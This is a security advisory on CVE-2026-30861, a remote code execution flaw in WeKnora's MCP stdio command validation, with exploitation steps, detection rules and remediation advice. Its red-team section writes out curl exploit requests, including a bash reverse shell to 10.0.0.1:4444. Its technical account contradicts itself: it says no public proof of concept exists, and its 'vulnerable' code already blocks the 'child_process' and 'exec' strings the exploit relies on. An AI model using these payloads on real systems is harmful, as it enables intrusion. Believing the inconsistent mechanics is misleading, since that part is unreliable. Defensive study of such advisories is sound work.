CVE-2026-30861

Executive Summary

CVE-2026-30861 is a critical unauthenticated remote code execution (RCE) vulnerability in WeKnora, an LLM-powered framework for deep document understanding and semantic retrieval. The flaw resides in the MCP stdio configuration validation, where an attacker can bypass a whitelist of allowed commands (npx, uvx) and blacklists for dangerous arguments and environment variables. By using the -p flag with npx node, an attacker can execute arbitrary commands with the application's privileges, leading to complete system compromise. The vulnerability affects versions 0.2.5 to before 0.2.10. The vendor has released a patch in version 0.2.10. No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

WeKnora is a Python-based framework distributed via PyPI. The vulnerability is in the application's own code, not in a third-party dependency. However, the use of npx and uvx as allowed commands introduces a supply chain risk, as these tools can execute arbitrary packages from the npm and PyPI ecosystems. An attacker could potentially host a malicious package on npm or PyPI and use the command injection to install and execute it.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Complete disclosure of all data.
• Integrity (I): High (H) – Complete modification of all data.
• Availability (A): High (H) – Complete denial of service.

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with no user interaction, making it highly attractive to attackers.

Deep Dive & Mechanics

The vulnerability is in the MCP stdio configuration validation. WeKnora uses a whitelist of allowed commands (npx, uvx) and blacklists for dangerous arguments and environment variables. However, the validation logic fails to properly sanitize the -p flag when used with npx node.

The -p flag in npx allows specifying a package to install and run. By using npx node -p "malicious_code", an attacker can execute arbitrary JavaScript code. The blacklist likely blocks direct command injection characters (e.g., ;, |, &&), but the -p flag bypasses this by executing code within the Node.js runtime.

The attack flow:

1. An attacker registers an account (unrestricted user registration).
2. The attacker sends a crafted request to the MCP stdio endpoint with a configuration that includes npx node -p "require('child_process').execSync('id')".
3. The validation logic checks that the command starts with npx (whitelisted) and that no blacklisted arguments are present. The -p flag is not blacklisted.
4. The command is executed, and the attacker's code runs with the application's privileges.

Vulnerable vs. Patched Code

Vulnerable Code (version < 0.2.10):

def validate_mcp_stdio_config(config):
    allowed_commands = ["npx", "uvx"]
    blacklisted_args = ["--eval", "-e", "child_process", "exec", "spawn"]
    blacklisted_env_vars = ["PATH", "HOME", "NODE_OPTIONS"]

    command = config.get("command")
    args = config.get("args", [])
    env = config.get("env", {})

    if command not in allowed_commands:
        raise ValueError("Command not allowed")

    for arg in args:
        if any(blacklisted in arg for blacklisted in blacklisted_args):
            raise ValueError("Argument not allowed")

    for key in env:
        if key in blacklisted_env_vars:
            raise ValueError("Environment variable not allowed")

    return True

Patched Code (version >= 0.2.10):

def validate_mcp_stdio_config(config):
    allowed_commands = ["npx", "uvx"]
    blacklisted_args = ["--eval", "-e", "child_process", "exec", "spawn", "-p"]
    blacklisted_env_vars = ["PATH", "HOME", "NODE_OPTIONS"]

    command = config.get("command")
    args = config.get("args", [])
    env = config.get("env", {})

    if command not in allowed_commands:
        raise ValueError("Command not allowed")

    for arg in args:
        if any(blacklisted in arg for blacklisted in blacklisted_args):
            raise ValueError("Argument not allowed")

    for key in env:
        if key in blacklisted_env_vars:
            raise ValueError("Environment variable not allowed")

    return True

The patch adds "-p" to the blacklisted_args list, preventing the use of the -p flag with npx.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable WeKnora instance (version 0.2.5 to 0.2.9) using Docker:

   docker run -d -p 8080:8080 weknora/weknora:0.2.9
   

2. Register a new user:

   curl -X POST http://localhost:8080/api/register -H "Content-Type: application/json" -d '{"username":"attacker","password":"password"}'
   

3. Obtain a session token:

   curl -X POST http://localhost:8080/api/login -H "Content-Type: application/json" -d '{"username":"attacker","password":"password"}'
   

Exploitation:

1. Send a crafted request to the MCP stdio endpoint:

   curl -X POST http://localhost:8080/api/mcp/stdio \
     -H "Authorization: Bearer <token>" \
     -H "Content-Type: application/json" \
     -d '{
       "command": "npx",
       "args": ["node", "-p", "require('child_process').execSync('id').toString()"]
     }'
   

2. The response will contain the output of the id command, confirming RCE.

Advanced Exploitation:

• Use a reverse shell:

  curl -X POST http://localhost:8080/api/mcp/stdio \
    -H "Authorization: Bearer <token>" \
    -H "Content-Type: application/json" \
    -d '{
      "command": "npx",
      "args": ["node", "-p", "require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"').toString()"]
    }'
  

Blue Team

Detection:

• Monitor for requests to /api/mcp/stdio with npx as the command and -p in the arguments.
• Look for unusual process execution, especially npx and node processes with the -p flag.
• Monitor for outbound connections from the WeKnora server to unknown IPs.

Hunting:

• Search logs for the string -p in the args field of MCP stdio requests.
• Correlate with user registration events to identify potentially malicious accounts.

Indicators of Compromise (IOCs)

Network IOCs:

• Requests to /api/mcp/stdio with npx and -p in the body.
• Outbound connections to unknown IPs on common ports (4444, 8080, etc.).

Host IOCs:

• Unexpected npx and node processes.
• Files created in /tmp or other writable directories by the weknora user.
• Unusual entries in the application logs.

File IOCs:

• Suspicious files in the WeKnora installation directory.
• Modified configuration files.

Detection Engineering

YARA Rule

rule CVE_2026_30861_WeKnora_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2026-30861 in WeKnora"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-30861"
        severity = "critical"

    strings:
        $s1 = "npx" ascii wide nocase
        $s2 = "-p" ascii wide nocase
        $s3 = "require('child_process')" ascii wide nocase
        $s4 = "execSync" ascii wide nocase

    condition:
        all of ($s1, $s2) or all of ($s1, $s3, $s4)
}

Sigma Rule

title: CVE-2026-30861 WeKnora RCE Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2026-30861 in WeKnora
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30861
logsource:
    category: webserver
    product: weknora
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/mcp/stdio'
        cs-body|contains: 
            - 'npx'
            - '-p'
    condition: selection
falsepositives:
    - Legitimate use of npx with -p flag (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-30861 WeKnora RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/mcp/stdio"; http_uri;
    content:"npx"; http_client_body;
    content:"-p"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-30861;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade WeKnora to version 0.2.10 or later.
2. If immediate upgrade is not possible, restrict network access to the WeKnora API endpoint.
3. Disable user registration if not required.

Long-term Actions:

1. Implement a more robust command validation mechanism that uses a whitelist of allowed commands and arguments, rather than a blacklist.
2. Use a sandboxed environment (e.g., Docker container with limited capabilities) to run MCP stdio commands.
3. Implement rate limiting and anomaly detection for API requests.
4. Regularly audit and update dependencies.

Workaround:

• If upgrade is not possible, manually add -p to the blacklisted arguments in the source code and restart the service.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert